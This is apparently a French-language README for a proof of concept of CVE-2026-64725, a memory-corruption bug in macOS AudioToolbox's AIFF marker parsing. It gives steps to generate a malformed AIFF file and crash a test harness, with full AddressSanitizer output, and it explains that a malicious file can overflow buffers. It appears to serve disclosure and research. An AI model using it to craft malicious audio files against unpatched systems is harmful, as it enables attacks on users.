
Une preuve de concept pour CVE-2026-64725
Une preuve de concept pour CVE-2026-64725. Voir le code source et l'article de blog pour plus de détails.
Détecté sur macOS 26.4.1 (build 25E253 ; Darwin 25.4.0 (xnu-12377.101.15~1) ; Apple Silicon (T8103 / M1)).
Apple confirme que macOS/iOS/iPadOS < 26.6 sont vulnérables.
Assurez-vous que votre Mac exécute la dernière version de macOS
Assurez-vous d'avoir Python 3.6+ et clang installés
Clonez le dépôt sur votre Mac
Générez un AIFF minimal malformé qui déclenche le bug de décalage signé dans int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) :
cd poc/
python3 gen_marker_oob_aiff.py
ou
cd poc/
make aiff
En conséquence, vous devriez obtenir marker_oob.aiff.
Compilez le harnais PoC minimal avec ASan :
make
En conséquence, vous devriez obtenir marker_oob_harness.
./marker_oob_harness marker_oob.aiff
Vous devriez voir quelque chose comme
buf=0x619000001480 alloc=1000 bytes (room for 25 AudioFileMarker slots, 40 B each)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==62449==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0001929391d8 bp 0x00016b686390 sp 0x00016b686220 T0)
==62449==The signal is caused by a WRITE memory access.
==62449==Hint: this fault was caused by a dereference of a high value address (see register values below). Disassemble the provided pc to learn which register was used.
#0 0x0001929391d8 in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4 (AudioToolboxCore:arm64e+0x17b1d8)
#1 0x0001927c6a1c in AudioFileGetProperty+0x70 (AudioToolboxCore:arm64e+0x8a1c)
#2 0x000104778ca4 in main marker_oob_harness.c:59
#3 0x00018f8a3da0 in start+0x1b4c (dyld:arm64e+0x1fda0)
==62449==Register values:
x[0] = 0xa29319b2bf742f12 x[1] = 0x0000000000000000 x[2] = 0x0000000000000000 x[3] = 0x0000000000000008
x[4] = 0x0000000000000004 x[5] = 0xffffffffffffffff x[6] = 0x0000000000000000 x[7] = 0x0000000000000001
x[8] = 0x0000000000000000 x[9] = 0x0000000000001917 x[10] = 0x0000000000000002 x[11] = 0x0000000000000000
x[12] = 0x000000002d6d0c46 x[13] = 0x00000001fd0f3380 x[14] = 0x0000000000000000 x[15] = 0x0000000000000000
x[16] = 0x000000016b686231 x[17] = 0x00000001fd0e6d78 x[18] = 0x0000000000000000 x[19] = 0x0000000000000001
x[20] = 0x000000016b686420 x[21] = 0x0000615000000a80 x[22] = 0x0000000000000000 x[23] = 0x000000000000c8e6
x[24] = 0x000000000000c8e8 x[25] = 0x00000000ffffe6e9 x[26] = 0x0000000000000004 x[27] = 0x000061900004000c
x[28] = 0x0000000000000002 fp = 0x000000016b686390 lr = 0x00000001929391b8 sp = 0x000000016b686220
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (AudioToolboxCore:arm64e+0x17b1d8) in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4
==62449==ABORTING
zsh: abort ./marker_oob_harness marker_oob.aiff
Pour faire court :
marker_oob_harness a ouvert marker_oob.aiff en appelant l'API publique documentée AudioFileOpenURL(...)
marker_oob_harness a appelé calloc pour allouer un tampon de sortie de longueur fixe pour les marqueurs (ce n'est pas la meilleure pratique, mais cela arrive souvent dans le monde réel ; le modèle de code plus sûr GetMarkerListSize est discuté dans « Cas sûrs » / « GetMarkerListSize → malloc(size) → GetMarkerList » ci-dessous)
marker_oob_harness a tenté d'obtenir la liste des marqueurs en appelant l'API publique documentée AudioFileGetProperty(...) avec inPropertyID=kAudioFilePropertyMarkerList. Tous les arguments, y compris la taille du tampon de sortie et le pointeur vers le tampon, étaient corrects.
AudioFileGetProperty(...) a appelé sous le capot l'API non documentée int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool)
int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) a mal interprété la taille (correcte !) du tampon de sortie et écrit des octets de marker_oob.aiff au-delà de la fin du tampon, d'où le message de crash d'ASan que vous avez vu. Le comportement correct attendu aurait été de retourner une erreur de tampon trop petit ou quelque chose d'équivalent.
Le nombre d'octets écrits au-delà de la fin du tampon dépend de la taille du fichier. Un fichier .aiff malveillant peut faire déborder n'importe quel tampon de taille raisonnable si le fichier est assez gros.
Voir l'article de blog pour plus de détails.